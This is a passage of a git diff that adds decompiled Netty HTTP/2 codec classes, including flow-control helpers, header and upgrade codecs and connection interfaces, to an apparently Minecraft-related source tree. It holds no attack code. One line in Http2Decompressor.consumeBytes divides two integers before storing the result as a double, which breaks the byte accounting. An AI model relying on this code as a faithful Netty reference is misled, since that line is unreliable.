+      return flowController.initialWindowSize();
+    }
+    
+    public int windowSize(Http2Stream stream)
+    {
+      return flowController.windowSize(stream);
+    }
+    
+    public void incrementWindowSize(Http2Stream stream, int delta) throws Http2Exception
+    {
+      flowController.incrementWindowSize(stream, delta);
+    }
+    
+    public void receiveFlowControlledFrame(Http2Stream stream, ByteBuf data, int padding, boolean endOfStream)
+      throws Http2Exception
+    {
+      flowController.receiveFlowControlledFrame(stream, data, padding, endOfStream);
+    }
+    
+    public boolean consumeBytes(Http2Stream stream, int numBytes) throws Http2Exception
+    {
+      DelegatingDecompressorFrameListener.Http2Decompressor decompressor = decompressor(stream);
+      if (decompressor != null)
+      {
+        numBytes = decompressor.consumeBytes(stream.id(), numBytes);
+      }
+      try {
+        return flowController.consumeBytes(stream, numBytes);
+      } catch (Http2Exception e) {
+        throw e;
+      }
+      catch (Throwable t)
+      {
+        throw Http2Exception.streamError(stream.id(), Http2Error.INTERNAL_ERROR, t, "Error while returning bytes to flow control window", new Object[0]);
+      }
+    }
+    
+    public int unconsumedBytes(Http2Stream stream)
+    {
+      return flowController.unconsumedBytes(stream);
+    }
+    
+    public int initialWindowSize(Http2Stream stream)
+    {
+      return flowController.initialWindowSize(stream);
+    }
+  }
+  
+
+  private static final class Http2Decompressor
+  {
+    private final EmbeddedChannel decompressor;
+    private int compressed;
+    private int decompressed;
+    
+    Http2Decompressor(EmbeddedChannel decompressor)
+    {
+      this.decompressor = decompressor;
+    }
+    
+
+
+    EmbeddedChannel decompressor()
+    {
+      return decompressor;
+    }
+    
+
+
+    void incrementCompressedBytes(int delta)
+    {
+      assert (delta >= 0);
+      compressed += delta;
+    }
+    
+
+
+    void incrementDecompressedBytes(int delta)
+    {
+      assert (delta >= 0);
+      decompressed += delta;
+    }
+    
+
+
+
+
+
+
+    int consumeBytes(int streamId, int decompressedBytes)
+      throws Http2Exception
+    {
+      if (decompressedBytes < 0) {
+        throw new IllegalArgumentException("decompressedBytes must not be negative: " + decompressedBytes);
+      }
+      if (decompressed - decompressedBytes < 0) {
+        throw Http2Exception.streamError(streamId, Http2Error.INTERNAL_ERROR, "Attempting to return too many bytes for stream %d. decompressed: %d decompressedBytes: %d", new Object[] { Integer.valueOf(streamId), Integer.valueOf(decompressed), Integer.valueOf(decompressedBytes) });
+      }
+      
+
+      double consumedRatio = decompressedBytes / decompressed;
+      int consumedCompressed = Math.min(compressed, (int)Math.ceil(compressed * consumedRatio));
+      if (compressed - consumedCompressed < 0) {
+        throw Http2Exception.streamError(streamId, Http2Error.INTERNAL_ERROR, "overflow when converting decompressed bytes to compressed bytes for stream %d.decompressedBytes: %d decompressed: %d compressed: %d consumedCompressed: %d", new Object[] { Integer.valueOf(streamId), Integer.valueOf(decompressedBytes), Integer.valueOf(decompressed), Integer.valueOf(compressed), Integer.valueOf(consumedCompressed) });
+      }
+      
+
+
+      decompressed -= decompressedBytes;
+      compressed -= consumedCompressed;
+      
+      return consumedCompressed;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/EmptyHttp2Headers.java b/src/minecraft/io/netty/handler/codec/http2/EmptyHttp2Headers.java
new file mode 100644
index 0000000..daa2589
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/EmptyHttp2Headers.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.handler.codec.EmptyHeaders;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EmptyHttp2Headers
+  extends EmptyHeaders<CharSequence, CharSequence, Http2Headers>
+  implements Http2Headers
+{
+  public static final EmptyHttp2Headers INSTANCE = new EmptyHttp2Headers();
+  
+
+  private EmptyHttp2Headers() {}
+  
+  public EmptyHttp2Headers method(CharSequence method)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public EmptyHttp2Headers scheme(CharSequence status)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public EmptyHttp2Headers authority(CharSequence authority)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public EmptyHttp2Headers path(CharSequence path)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public EmptyHttp2Headers status(CharSequence status)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public CharSequence method()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.METHOD.value());
+  }
+  
+  public CharSequence scheme()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.SCHEME.value());
+  }
+  
+  public CharSequence authority()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.AUTHORITY.value());
+  }
+  
+  public CharSequence path()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.PATH.value());
+  }
+  
+  public CharSequence status()
+  {
+    return (CharSequence)get(Http2Headers.PseudoHeaderName.STATUS.value());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ClientUpgradeCodec.java b/src/minecraft/io/netty/handler/codec/http2/Http2ClientUpgradeCodec.java
new file mode 100644
index 0000000..0ff20d5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ClientUpgradeCodec.java
@@ -0,0 +1,123 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.handler.codec.base64.Base64Dialect;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpClientUpgradeHandler.UpgradeCodec;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.util.CharsetUtil;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.collection.CharObjectMap.PrimitiveEntry;
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2ClientUpgradeCodec
+  implements HttpClientUpgradeHandler.UpgradeCodec
+{
+  private static final List<CharSequence> UPGRADE_HEADERS = Collections.singletonList(Http2CodecUtil.HTTP_UPGRADE_SETTINGS_HEADER);
+  
+
+  private final String handlerName;
+  
+
+  private final Http2ConnectionHandler connectionHandler;
+  
+
+
+  public Http2ClientUpgradeCodec(Http2ConnectionHandler connectionHandler)
+  {
+    this(null, connectionHandler);
+  }
+  
+
+
+
+
+
+
+  public Http2ClientUpgradeCodec(String handlerName, Http2ConnectionHandler connectionHandler)
+  {
+    this.handlerName = handlerName;
+    this.connectionHandler = ((Http2ConnectionHandler)ObjectUtil.checkNotNull(connectionHandler, "connectionHandler"));
+  }
+  
+  public CharSequence protocol()
+  {
+    return Http2CodecUtil.HTTP_UPGRADE_PROTOCOL_NAME;
+  }
+  
+
+  public Collection<CharSequence> setUpgradeHeaders(ChannelHandlerContext ctx, HttpRequest upgradeRequest)
+  {
+    CharSequence settingsValue = getSettingsHeaderValue(ctx);
+    upgradeRequest.headers().set(Http2CodecUtil.HTTP_UPGRADE_SETTINGS_HEADER, settingsValue);
+    return UPGRADE_HEADERS;
+  }
+  
+
+  public void upgradeTo(ChannelHandlerContext ctx, FullHttpResponse upgradeResponse)
+    throws Exception
+  {
+    connectionHandler.onHttpClientUpgrade();
+    
+
+    ctx.pipeline().addAfter(ctx.name(), handlerName, connectionHandler);
+  }
+  
+
+
+
+  private CharSequence getSettingsHeaderValue(ChannelHandlerContext ctx)
+  {
+    ByteBuf buf = null;
+    ByteBuf encodedBuf = null;
+    try
+    {
+      Http2Settings settings = connectionHandler.decoder().localSettings();
+      
+
+      int payloadLength = 6 * settings.size();
+      buf = ctx.alloc().buffer(payloadLength);
+      for (CharObjectMap.PrimitiveEntry<Long> entry : settings.entries()) {
+        Http2CodecUtil.writeUnsignedShort(entry.key(), buf);
+        Http2CodecUtil.writeUnsignedInt(((Long)entry.value()).longValue(), buf);
+      }
+      
+
+      encodedBuf = Base64.encode(buf, Base64Dialect.URL_SAFE);
+      return encodedBuf.toString(CharsetUtil.UTF_8);
+    } finally {
+      ReferenceCountUtil.release(buf);
+      ReferenceCountUtil.release(encodedBuf);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Codec.java b/src/minecraft/io/netty/handler/codec/http2/Http2Codec.java
new file mode 100644
index 0000000..993f6ec
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Codec.java
@@ -0,0 +1,75 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.logging.LogLevel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2Codec
+  extends ChannelDuplexHandler
+{
+  private static final Http2FrameLogger HTTP2_FRAME_LOGGER = new Http2FrameLogger(LogLevel.INFO, Http2Codec.class);
+  
+
+
+  private final Http2FrameCodec frameCodec;
+  
+
+  private final Http2MultiplexCodec multiplexCodec;
+  
+
+
+  public Http2Codec(boolean server, ChannelHandler streamHandler)
+  {
+    this(server, new Http2StreamChannelBootstrap().handler(streamHandler), HTTP2_FRAME_LOGGER);
+  }
+  
+
+
+
+
+
+  public Http2Codec(boolean server, Http2StreamChannelBootstrap bootstrap, Http2FrameLogger frameLogger)
+  {
+    this(server, bootstrap, new DefaultHttp2FrameWriter(), frameLogger);
+  }
+  
+
+  Http2Codec(boolean server, Http2StreamChannelBootstrap bootstrap, Http2FrameWriter frameWriter, Http2FrameLogger frameLogger)
+  {
+    frameCodec = new Http2FrameCodec(server, frameWriter, frameLogger);
+    multiplexCodec = new Http2MultiplexCodec(server, bootstrap);
+  }
+  
+  Http2FrameCodec frameCodec() {
+    return frameCodec;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.pipeline().addBefore(ctx.executor(), ctx.name(), null, frameCodec);
+    ctx.pipeline().addBefore(ctx.executor(), ctx.name(), null, multiplexCodec);
+    
+    ctx.pipeline().remove(this);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2CodecUtil.java b/src/minecraft/io/netty/handler/codec/http2/Http2CodecUtil.java
new file mode 100644
index 0000000..6d5b84f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2CodecUtil.java
@@ -0,0 +1,379 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelPromise;
+import io.netty.util.AsciiString;
+import io.netty.util.CharsetUtil;
+import io.netty.util.concurrent.EventExecutor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2CodecUtil
+{
+  public static final int CONNECTION_STREAM_ID = 0;
+  public static final int HTTP_UPGRADE_STREAM_ID = 1;
+  public static final CharSequence HTTP_UPGRADE_SETTINGS_HEADER = new AsciiString("HTTP2-Settings");
+  public static final CharSequence HTTP_UPGRADE_PROTOCOL_NAME = "h2c";
+  public static final CharSequence TLS_UPGRADE_PROTOCOL_NAME = "h2";
+  
+  public static final int PING_FRAME_PAYLOAD_LENGTH = 8;
+  
+  public static final short MAX_UNSIGNED_BYTE = 255;
+  
+  public static final int MAX_PADDING = 256;
+  
+  public static final int MAX_UNSIGNED_SHORT = 65535;
+  
+  public static final long MAX_UNSIGNED_INT = 4294967295L;
+  
+  public static final int FRAME_HEADER_LENGTH = 9;
+  public static final int SETTING_ENTRY_LENGTH = 6;
+  public static final int PRIORITY_ENTRY_LENGTH = 5;
+  public static final int INT_FIELD_LENGTH = 4;
+  public static final short MAX_WEIGHT = 256;
+  public static final short MIN_WEIGHT = 1;
+  private static final ByteBuf CONNECTION_PREFACE = Unpooled.unreleasableBuffer(Unpooled.directBuffer(24).writeBytes("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n".getBytes(CharsetUtil.UTF_8))).asReadOnly();
+  
+
+  private static final ByteBuf EMPTY_PING = Unpooled.unreleasableBuffer(Unpooled.directBuffer(8).writeZero(8)).asReadOnly();
+  
+  private static final int MAX_PADDING_LENGTH_LENGTH = 1;
+  
+  public static final int DATA_FRAME_HEADER_LENGTH = 10;
+  
+  public static final int HEADERS_FRAME_HEADER_LENGTH = 15;
+  
+  public static final int PRIORITY_FRAME_LENGTH = 14;
+  
+  public static final int RST_STREAM_FRAME_LENGTH = 13;
+  
+  public static final int PUSH_PROMISE_FRAME_HEADER_LENGTH = 14;
+  
+  public static final int GO_AWAY_FRAME_HEADER_LENGTH = 17;
+  
+  public static final int WINDOW_UPDATE_FRAME_LENGTH = 13;
+  
+  public static final int CONTINUATION_FRAME_HEADER_LENGTH = 10;
+  
+  public static final char SETTINGS_HEADER_TABLE_SIZE = '\001';
+  
+  public static final char SETTINGS_ENABLE_PUSH = '\002';
+  
+  public static final char SETTINGS_MAX_CONCURRENT_STREAMS = '\003';
+  
+  public static final char SETTINGS_INITIAL_WINDOW_SIZE = '\004';
+  public static final char SETTINGS_MAX_FRAME_SIZE = '\005';
+  public static final char SETTINGS_MAX_HEADER_LIST_SIZE = '\006';
+  public static final int NUM_STANDARD_SETTINGS = 6;
+  public static final long MAX_HEADER_TABLE_SIZE = 4294967295L;
+  public static final long MAX_CONCURRENT_STREAMS = 4294967295L;
+  public static final int MAX_INITIAL_WINDOW_SIZE = Integer.MAX_VALUE;
+  public static final int MAX_FRAME_SIZE_LOWER_BOUND = 16384;
+  public static final int MAX_FRAME_SIZE_UPPER_BOUND = 16777215;
+  public static final long MAX_HEADER_LIST_SIZE = 4294967295L;
+  public static final long MIN_HEADER_TABLE_SIZE = 0L;
+  public static final long MIN_CONCURRENT_STREAMS = 0L;
+  public static final int MIN_INITIAL_WINDOW_SIZE = 0;
+  public static final long MIN_HEADER_LIST_SIZE = 0L;
+  public static final int DEFAULT_WINDOW_SIZE = 65535;
+  public static final boolean DEFAULT_ENABLE_PUSH = true;
+  public static final short DEFAULT_PRIORITY_WEIGHT = 16;
+  public static final int DEFAULT_HEADER_TABLE_SIZE = 4096;
+  public static final int DEFAULT_HEADER_LIST_SIZE = 8192;
+  public static final int DEFAULT_MAX_FRAME_SIZE = 16384;
+  public static final int SMALLEST_MAX_CONCURRENT_STREAMS = 100;
+  
+  public static boolean isOutboundStream(boolean server, int streamId)
+  {
+    boolean even = (streamId & 0x1) == 0;
+    return (streamId > 0) && (server == even);
+  }
+  
+
+
+  public static boolean isStreamIdValid(int streamId)
+  {
+    return streamId >= 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isMaxFrameSizeValid(int maxFrameSize)
+  {
+    return (maxFrameSize >= 16384) && (maxFrameSize <= 16777215);
+  }
+  
+
+
+
+  public static ByteBuf connectionPrefaceBuf()
+  {
+    return CONNECTION_PREFACE.retainedDuplicate();
+  }
+  
+
+
+
+  public static ByteBuf emptyPingBuf()
+  {
+    return EMPTY_PING.retainedDuplicate();
+  }
+  
+
+
+
+  public static Http2Exception getEmbeddedHttp2Exception(Throwable cause)
+  {
+    while (cause != null) {
+      if ((cause instanceof Http2Exception)) {
+        return (Http2Exception)cause;
+      }
+      cause = cause.getCause();
+    }
+    return null;
+  }
+  
+
+
+
+  public static ByteBuf toByteBuf(ChannelHandlerContext ctx, Throwable cause)
+  {
+    if ((cause == null) || (cause.getMessage() == null)) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    return ByteBufUtil.writeUtf8(ctx.alloc(), cause.getMessage());
+  }
+  
+
+
+  public static int readUnsignedInt(ByteBuf buf)
+  {
+    return (buf.readByte() & 0x7F) << 24 | (buf.readByte() & 0xFF) << 16 | (buf.readByte() & 0xFF) << 8 | buf.readByte() & 0xFF;
+  }
+  
+
+
+
+  public static void writeUnsignedInt(long value, ByteBuf out)
+  {
+    out.writeByte((int)(value >> 24 & 0xFF));
+    out.writeByte((int)(value >> 16 & 0xFF));
+    out.writeByte((int)(value >> 8 & 0xFF));
+    out.writeByte((int)(value & 0xFF));
+  }
+  
+
+
+  public static void writeUnsignedShort(int value, ByteBuf out)
+  {
+    out.writeByte(value >> 8 & 0xFF);
+    out.writeByte(value & 0xFF);
+  }
+  
+
+
+
+  public static void writeFrameHeader(ByteBuf out, int payloadLength, byte type, Http2Flags flags, int streamId)
+  {
+    out.ensureWritable(9 + payloadLength);
+    writeFrameHeaderInternal(out, payloadLength, type, flags, streamId);
+  }
+  
+
+
+  public static int streamableBytes(StreamByteDistributor.StreamState state)
+  {
+    return Math.max(0, Math.min(state.pendingBytes(), state.windowSize()));
+  }
+  
+  public static void headerListSizeExceeded(int streamId, long maxHeaderListSize) throws Http2Exception {
+    throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "Header size exceeded max allowed size (%d)", new Object[] { Long.valueOf(maxHeaderListSize) });
+  }
+  
+  static void writeFrameHeaderInternal(ByteBuf out, int payloadLength, byte type, Http2Flags flags, int streamId)
+  {
+    out.writeMedium(payloadLength);
+    out.writeByte(type);
+    out.writeByte(flags.value());
+    out.writeInt(streamId);
+  }
+  
+
+  static final class SimpleChannelPromiseAggregator
+    extends DefaultChannelPromise
+  {
+    private final ChannelPromise promise;
+    private int expectedCount;
+    private int doneCount;
+    private Throwable lastFailure;
+    private boolean doneAllocating;
+    
+    SimpleChannelPromiseAggregator(ChannelPromise promise, Channel c, EventExecutor e)
+    {
+      super(e);
+      assert ((promise != null) && (!promise.isDone()));
+      this.promise = promise;
+    }
+    
+
+
+
+
+    public ChannelPromise newPromise()
+    {
+      assert (!doneAllocating) : "Done allocating. No more promises can be allocated.";
+      expectedCount += 1;
+      return this;
+    }
+    
+
+
+
+
+    public ChannelPromise doneAllocatingPromises()
+    {
+      if (!doneAllocating) {
+        doneAllocating = true;
+        if ((doneCount == expectedCount) || (expectedCount == 0)) {
+          return setPromise();
+        }
+      }
+      return this;
+    }
+    
+    public boolean tryFailure(Throwable cause)
+    {
+      if (allowFailure()) {
+        doneCount += 1;
+        lastFailure = cause;
+        if (allPromisesDone()) {
+          return tryPromise();
+        }
+        
+
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+
+
+
+    public ChannelPromise setFailure(Throwable cause)
+    {
+      if (allowFailure()) {
+        doneCount += 1;
+        lastFailure = cause;
+        if (allPromisesDone()) {
+          return setPromise();
+        }
+      }
+      return this;
+    }
+    
+    public ChannelPromise setSuccess(Void result)
+    {
+      if (awaitingPromises()) {
+        doneCount += 1;
+        if (allPromisesDone()) {
+          setPromise();
+        }
+      }
+      return this;
+    }
+    
+    public boolean trySuccess(Void result)
+    {
+      if (awaitingPromises()) {
+        doneCount += 1;
+        if (allPromisesDone()) {
+          return tryPromise();
+        }
+        
+
+        return true;
+      }
+      return false;
+    }
+    
+    private boolean allowFailure() {
+      return (awaitingPromises()) || (expectedCount == 0);
+    }
+    
+    private boolean awaitingPromises() {
+      return doneCount < expectedCount;
+    }
+    
+    private boolean allPromisesDone() {
+      return (doneCount == expectedCount) && (doneAllocating);
+    }
+    
+    private ChannelPromise setPromise() {
+      if (lastFailure == null) {
+        promise.setSuccess();
+        return super.setSuccess(null);
+      }
+      promise.setFailure(lastFailure);
+      return super.setFailure(lastFailure);
+    }
+    
+    private boolean tryPromise()
+    {
+      if (lastFailure == null) {
+        promise.trySuccess();
+        return super.trySuccess(null);
+      }
+      promise.tryFailure(lastFailure);
+      return super.tryFailure(lastFailure);
+    }
+  }
+  
+  public static void verifyPadding(int padding)
+  {
+    if ((padding < 0) || (padding > 256)) {
+      throw new IllegalArgumentException(String.format("Invalid padding '%d'. Padding must be between 0 and %d (inclusive).", new Object[] { Integer.valueOf(padding), Integer.valueOf(256) }));
+    }
+  }
+  
+  private Http2CodecUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Connection.java b/src/minecraft/io/netty/handler/codec/http2/Http2Connection.java
new file mode 100644
index 0000000..3f49318
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Connection.java
@@ -0,0 +1,113 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+
+public abstract interface Http2Connection
+{
+  public abstract Future<Void> close(Promise<Void> paramPromise);
+  
+  public abstract PropertyKey newKey();
+  
+  public abstract void addListener(Listener paramListener);
+  
+  public abstract void removeListener(Listener paramListener);
+  
+  public abstract Http2Stream stream(int paramInt);
+  
+  public abstract boolean streamMayHaveExisted(int paramInt);
+  
+  public abstract Http2Stream connectionStream();
+  
+  public abstract int numActiveStreams();
+  
+  public abstract Http2Stream forEachActiveStream(Http2StreamVisitor paramHttp2StreamVisitor)
+    throws Http2Exception;
+  
+  public abstract boolean isServer();
+  
+  public abstract Endpoint<Http2LocalFlowController> local();
+  
+  public abstract Endpoint<Http2RemoteFlowController> remote();
+  
+  public abstract boolean goAwayReceived();
+  
+  public abstract void goAwayReceived(int paramInt, long paramLong, ByteBuf paramByteBuf);
+  
+  public abstract boolean goAwaySent();
+  
+  public abstract void goAwaySent(int paramInt, long paramLong, ByteBuf paramByteBuf);
+  
+  public static abstract interface PropertyKey {}
+  
+  public static abstract interface Endpoint<F extends Http2FlowController>
+  {
+    public abstract int incrementAndGetNextStreamId();
+    
+    public abstract boolean isValidStreamId(int paramInt);
+    
+    public abstract boolean mayHaveCreatedStream(int paramInt);
+    
+    public abstract boolean created(Http2Stream paramHttp2Stream);
+    
+    public abstract boolean canOpenStream();
+    
+    public abstract Http2Stream createIdleStream(int paramInt)
+      throws Http2Exception;
+    
+    public abstract Http2Stream createStream(int paramInt, boolean paramBoolean)
+      throws Http2Exception;
+    
+    public abstract Http2Stream reservePushStream(int paramInt, Http2Stream paramHttp2Stream)
+      throws Http2Exception;
+    
+    public abstract boolean isServer();
+    
+    public abstract void allowPushTo(boolean paramBoolean);
+    
+    public abstract boolean allowPushTo();
+    
+    public abstract int numActiveStreams();
+    
+    public abstract int maxActiveStreams();
+    
+    public abstract int maxStreams();
+    
+    public abstract void maxStreams(int paramInt1, int paramInt2)
+      throws Http2Exception;
+    
+    public abstract int lastStreamCreated();
+    
+    public abstract int lastStreamKnownByPeer();
+    
+    public abstract F flowController();
+    
+    public abstract void flowController(F paramF);
+    
+    public abstract Endpoint<? extends Http2FlowController> opposite();
+  }
+  
+  public static abstract interface Listener
+  {
+    public abstract void onStreamAdded(Http2Stream paramHttp2Stream);
+    
+    public abstract void onStreamActive(Http2Stream paramHttp2Stream);
+    
+    public abstract void onStreamHalfClosed(Http2Stream paramHttp2Stream);
+    
+    public abstract void onStreamClosed(Http2Stream paramHttp2Stream);
+    
+    public abstract void onStreamRemoved(Http2Stream paramHttp2Stream);
+    
+    public abstract void onPriorityTreeParentChanged(Http2Stream paramHttp2Stream1, Http2Stream paramHttp2Stream2);
+    
+    public abstract void onPriorityTreeParentChanging(Http2Stream paramHttp2Stream1, Http2Stream paramHttp2Stream2);
+    
+    public abstract void onWeightChanged(Http2Stream paramHttp2Stream, short paramShort);
+    
+    public abstract void onGoAwaySent(int paramInt, long paramLong, ByteBuf paramByteBuf);
+    
+    public abstract void onGoAwayReceived(int paramInt, long paramLong, ByteBuf paramByteBuf);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionAdapter.java b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionAdapter.java
new file mode 100644
index 0000000..7eb1687
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionAdapter.java
@@ -0,0 +1,29 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+
+public class Http2ConnectionAdapter
+  implements Http2Connection.Listener
+{
+  public Http2ConnectionAdapter() {}
+  
+  public void onStreamAdded(Http2Stream stream) {}
+  
+  public void onStreamActive(Http2Stream stream) {}
+  
+  public void onStreamHalfClosed(Http2Stream stream) {}
+  
+  public void onStreamClosed(Http2Stream stream) {}
+  
+  public void onStreamRemoved(Http2Stream stream) {}
+  
+  public void onGoAwaySent(int lastStreamId, long errorCode, ByteBuf debugData) {}
+  
+  public void onGoAwayReceived(int lastStreamId, long errorCode, ByteBuf debugData) {}
+  
+  public void onPriorityTreeParentChanged(Http2Stream stream, Http2Stream oldParent) {}
+  
+  public void onPriorityTreeParentChanging(Http2Stream stream, Http2Stream newParent) {}
+  
+  public void onWeightChanged(Http2Stream stream, short oldWeight) {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionDecoder.java b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionDecoder.java
new file mode 100644
index 0000000..7c7fbf8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionDecoder.java
@@ -0,0 +1,29 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import java.io.Closeable;
+import java.util.List;
+
+public abstract interface Http2ConnectionDecoder
+  extends Closeable
+{
+  public abstract void lifecycleManager(Http2LifecycleManager paramHttp2LifecycleManager);
+  
+  public abstract Http2Connection connection();
+  
+  public abstract Http2LocalFlowController flowController();
+  
+  public abstract void frameListener(Http2FrameListener paramHttp2FrameListener);
+  
+  public abstract Http2FrameListener frameListener();
+  
+  public abstract void decodeFrame(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf, List<Object> paramList)
+    throws Http2Exception;
+  
+  public abstract Http2Settings localSettings();
+  
+  public abstract boolean prefaceReceived();
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionEncoder.java b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionEncoder.java
new file mode 100644
index 0000000..a8cc6fb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionEncoder.java
@@ -0,0 +1,25 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+
+public abstract interface Http2ConnectionEncoder
+  extends Http2FrameWriter
+{
+  public abstract void lifecycleManager(Http2LifecycleManager paramHttp2LifecycleManager);
+  
+  public abstract Http2Connection connection();
+  
+  public abstract Http2RemoteFlowController flowController();
+  
+  public abstract Http2FrameWriter frameWriter();
+  
+  public abstract Http2Settings pollSentSettings();
+  
+  public abstract void remoteSettings(Http2Settings paramHttp2Settings)
+    throws Http2Exception;
+  
+  public abstract ChannelFuture writeFrame(ChannelHandlerContext paramChannelHandlerContext, byte paramByte, int paramInt, Http2Flags paramHttp2Flags, ByteBuf paramByteBuf, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandler.java b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandler.java
new file mode 100644
index 0000000..97a54b0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ConnectionHandler.java
@@ -0,0 +1,828 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandler;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.util.CharsetUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.ScheduledFuture;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.SocketAddress;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2ConnectionHandler
+  extends ByteToMessageDecoder
+  implements Http2LifecycleManager, ChannelOutboundHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Http2ConnectionHandler.class);
+  
+  private final Http2ConnectionDecoder decoder;
+  private final Http2ConnectionEncoder encoder;
+  private final Http2Settings initialSettings;
+  private ChannelFutureListener closeListener;
+  private BaseDecoder byteDecoder;
+  private long gracefulShutdownTimeoutMillis;
+  
+  protected Http2ConnectionHandler(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder, Http2Settings initialSettings)
+  {
+    this.initialSettings = ((Http2Settings)ObjectUtil.checkNotNull(initialSettings, "initialSettings"));
+    this.decoder = ((Http2ConnectionDecoder)ObjectUtil.checkNotNull(decoder, "decoder"));
+    this.encoder = ((Http2ConnectionEncoder)ObjectUtil.checkNotNull(encoder, "encoder"));
+    if (encoder.connection() != decoder.connection()) {
+      throw new IllegalArgumentException("Encoder and Decoder do not share the same connection object");
+    }
+  }
+  
+
+
+
+  public long gracefulShutdownTimeoutMillis()
+  {
+    return gracefulShutdownTimeoutMillis;
+  }
+  
+
+
+
+
+
+  public void gracefulShutdownTimeoutMillis(long gracefulShutdownTimeoutMillis)
+  {
+    if (gracefulShutdownTimeoutMillis < 0L) {
+      throw new IllegalArgumentException("gracefulShutdownTimeoutMillis: " + gracefulShutdownTimeoutMillis + " (expected: >= 0)");
+    }
+    
